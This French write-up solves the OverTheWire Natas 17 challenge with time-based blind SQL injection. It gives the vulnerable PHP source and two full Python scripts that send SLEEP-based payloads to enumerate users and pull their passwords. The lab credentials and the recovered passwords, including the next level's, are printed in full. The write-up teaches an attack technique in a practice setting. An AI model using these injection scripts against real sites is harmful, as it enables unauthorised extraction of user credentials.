Natas 17
Level Goal
Username: natas17
Password: 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw
URL: http://natas17.natas.labs.overthewire.org
En se connectant à la page du challenge 17 (curl http://natas17.natas.labs.overthewire.org -u natas17:8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw
) on accède à un formulaire de recherche d'utilisateur interrgeant de nouveau une base de donnée SQL :
<form action="index.php" method="POST">
Username: <input name="username"><br>
<input type="submit" value="Check existence" />
</form>
Donc voici le code source :
/*
CREATE TABLE `users` (
`username` varchar(64) DEFAULT NULL,
`password` varchar(64) DEFAULT NULL
);
*/
if(array_key_exists("username", $_REQUEST)) {
$link = mysql_connect('localhost', 'natas17', '<censored>');
mysql_select_db('natas17', $link);
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}
$res = mysql_query($query, $link);
if($res) {
if(mysql_num_rows($res) > 0) {
//echo "This user exists.<br>";
} else {
//echo "This user doesn't exist.<br>";
}
} else {
//echo "Error in query.<br>";
}
mysql_close($link);
} else {
?>
<form action="index.php" method="POST">
Username: <input name="username"><br>
<input type="submit" value="Check existence" />
</form>
<? } ?>
Le code source est identique à celui de l'épreuve 15 à la différence près que le serveur ne retourne pas de message, que l'utilisateur soit présent ou absent dans la base de donnée ou que la requête échoue.
La solution à ce problème est d'utiliser une injection SQL aveugle et plus exactement une injection Time-based
. Le concept est le suivant : sachant qu'il n'y a pas de différence dans la réponse du serveur si la requête échoue ou réussi, la seule solution est d'utiliser la fonction SLEEP
de SQL pour ajouter un délai en cas de bonne réponse et aucun délai en cas de mauvaise réponse.
Note: Dans ce genre de scénario il est beaucoup plus rapide d'ajouter un délai en cas de bonne réponse plutôt qu'en cas de mauvaise réponse. En prenant le cas présent en exemple, si on utilise un délai de 3 secondes pour chacun des caractères trouvés on attendra au total
32 x 3 = 96 secondes
d'attente. Si à l'inverse on attendait lors de tentatives échouées, on pourrait avoir jusqu'à((32 x 62) - 32) * 3 = 5856 secondes
d'attente.
Trouver les noms d'utilisateurs
Une fois de plus on peut utiliser Python pour déterminer la liste des utilisateurs de la base de donnée en repartant du code du niveau 15 :
import requests
import string
import time
CHARACTERS = string.ascii_lowercase + string.digits
USERNAMES = []
SLEEP_TIME = 2
def query(username):
exploit = f"""" or (username LIKE '{username}%' AND SLEEP({SLEEP_TIME})) #"""
payload = {"username": exploit}
response = requests.get(
"http://natas17.natas.labs.overthewire.org",
params=payload,
auth=requests.auth.HTTPBasicAuth("natas17", "8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw"),
)
return response.text
def testUsername(username=""):
new_char = False
for i in range(0, len(CHARACTERS)):
start_time = time.time()
query(f"{username}{CHARACTERS[i]}")
if time.time() - start_time > SLEEP_TIME:
new_char = True
testUsername(f"{username}{CHARACTERS[i]}")
if len(username) and not new_char:
USERNAMES.append(username)
testUsername()
print(USERNAMES)
Si on exécute ce script on obtient la liste d'utilisateurs suivant :
['natas18', 'user1', 'user2', 'user3']
Trouver les mots de passe des utilisateurs
Idem, on peut repartir du code du niveau 15 :
import requests
import string
import time
CHARACTERS = string.ascii_letters + string.digits
USERNAMES = ['natas18', 'user1', 'user2', 'user3']
PASSWORDS = {}
SLEEP_TIME = 2
def query(username, password):
exploit = f"""{username}" and (password LIKE BINARY '{password}%' AND SLEEP({SLEEP_TIME})) #"""
payload = {"username": exploit}
response = requests.get(
"http://natas17.natas.labs.overthewire.org",
params=payload,
auth=requests.auth.HTTPBasicAuth("natas17", "8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw"),
)
return response.text
def testPassword(username="", password=""):
new_char = False
for i in range(0, len(CHARACTERS)):
start_time = time.time()
query(username, f"{password}{CHARACTERS[i]}")
if time.time() - start_time > SLEEP_TIME:
new_char = True
testPassword(username, f"{password}{CHARACTERS[i]}")
if len(password) and not new_char:
print("Password found", username, password)
PASSWORDS[username] = password
for name in USERNAMES:
testPassword(name)
print(PASSWORDS)
Et on obtient le résultat suivant :
{
'natas18': 'xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP',
'user1': '0xjsNNjGvHkb7pwgC6PrAyLNT0pYCqHd',
'user2': 'MeYdu6MbjewqcokG0kD4LrSsUZtfxOQ2',
'user3': 'VOFWy9nHX9WUMo9Ei9WVKh8xLP1mrHKD'
}
Le mot de passe pour le prochain niveau est donc xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP
.